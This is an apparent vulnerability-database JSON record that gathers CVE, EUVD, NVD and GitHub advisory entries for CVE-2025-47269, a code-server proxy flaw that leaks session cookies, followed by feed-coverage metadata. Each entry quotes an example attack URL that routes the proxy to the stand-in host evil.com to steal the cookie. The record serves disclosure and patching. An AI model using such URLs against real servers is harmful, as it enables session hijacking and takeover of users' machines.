{"id":"EUVD-2025-14189","revision":null,"records":[{"revision":"b76150fdd0dc48b69be0ebc817a1fada","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-47269","aliases":[],"title":"code-server session cookie can be extracted by having user visit specially crafted proxy URL","description":"code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.","state":0,"publishedAt":"2025-05-09T20:59:01.51+00:00","modifiedAt":"2025-05-10T01:45:13.443+00:00","affected":[{"ecosystem":"Vendor product","name":"code-server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"coder\",\n                    \"product\": \"code-server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.99.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","score":8.3,"severity":"HIGH"}],"references":["https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj","https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e","https://github.com/coder/code-server/releases/tag/v4.99.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-47269","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-47269","identifiers":["CVE-2025-47269"]},"retained":false,"historicalAffected":[]},{"revision":"b3b4e54f87ca485886493f2ee6e60898","observedAt":"2026-11-15T04:32:31.56+00:00","statement":{"source":"euvd","id":"EUVD-2025-14189","aliases":["CVE-2025-47269","GHSA-p483-wpfp-42cj"],"title":"code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate…","description":"code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","score":8.3,"severity":null}],"references":["https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj","https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e","https://github.com/coder/code-server/releases/tag/v4.99.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-14189","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 9, 2025, 8:59:01 PM","dateUpdated":"May 10, 2025, 1:45:13 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-14189","identifiers":["EUVD-2025-14189","CVE-2025-47269","GHSA-p483-wpfp-42cj"]},"retained":false,"historicalAffected":[]},{"revision":"a4a2448b457849bd81cea91f3f171500","observedAt":"2026-10-25T02:24:54.05+00:00","statement":{"source":"nvd","id":"CVE-2025-47269","aliases":[],"title":"code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate…","description":"code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.","state":0,"publishedAt":"2025-05-09T21:15:51.263+00:00","modifiedAt":"2026-06-17T09:27:38.423+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","score":8.3,"severity":"HIGH"}],"references":["https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e","https://github.com/coder/code-server/releases/tag/v4.99.4","https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-47269","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-441"],"productCriteria":[],"sourceDates":{"published":"2025-05-09T21:15:51.263","lastModified":"2026-06-17T09:27:38.423"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-47269","identifiers":["CVE-2025-47269"]},"retained":false,"historicalAffected":[]},{"revision":"8db6413cabce4cf18e95d8cddb5198a0","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-p483-wpfp-42cj","aliases":["CVE-2025-47269"],"title":"code-server's session cookie can be extracted by having user visit specially crafted proxy URL","description":"### Summary\n\nA maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.\n\n### Details\n\nFailure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token.\n\n### Impact\n\nAny user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.\n\nNormally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.\n\nWith access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.\n\n### Patches\n\nPatched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.","state":0,"publishedAt":"2025-05-09T19:34:35+00:00","modifiedAt":"2026-09-10T03:50:57.5989024+00:00","affected":[{"ecosystem":"npm","name":"code-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.99.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj","https://nvd.nist.gov/vuln/detail/CVE-2025-47269","https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e","https://github.com/coder/code-server","https://github.com/coder/code-server/releases/tag/v4.99.4"],"sourceUrl":"https://github.com/advisories/GHSA-p483-wpfp-42cj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-p483-wpfp-42cj","identifiers":["GHSA-p483-wpfp-42cj","CVE-2025-47269"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.2867767+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.2867777+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-24e910670d68255a90dfc1d94d37ac5394a0a43e960361a78142e746e5b8e0e9","complete":true,"records":425790,"lastAttemptAt":"2026-11-15T13:01:16.7308429+00:00","lastSuccessAt":"2026-11-15T13:01:16.7018281+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:16.7308429+00:00","snapshotPublishedAt":"2026-11-15T12:22:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-47f38f0996d04d31b51da25d0a0d9bc1","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T13:17:28.4296709+00:00","lastSuccessAt":"2026-11-15T13:17:28.424+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:17:28.424+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13628,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.3027206+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.3027219+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-00496e381624434cb51cd6ee97f87d5f","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T13:02:04.5706057+00:00","lastSuccessAt":"2026-11-15T13:02:04.555+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:02:04.555+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T13:01:38.1237717+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:38.1237717+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T13:01:22.067621+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:22.067621+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T13:01:41.1317031+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:41.1317031+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T13:01:28.8971106+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:28.8971106+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}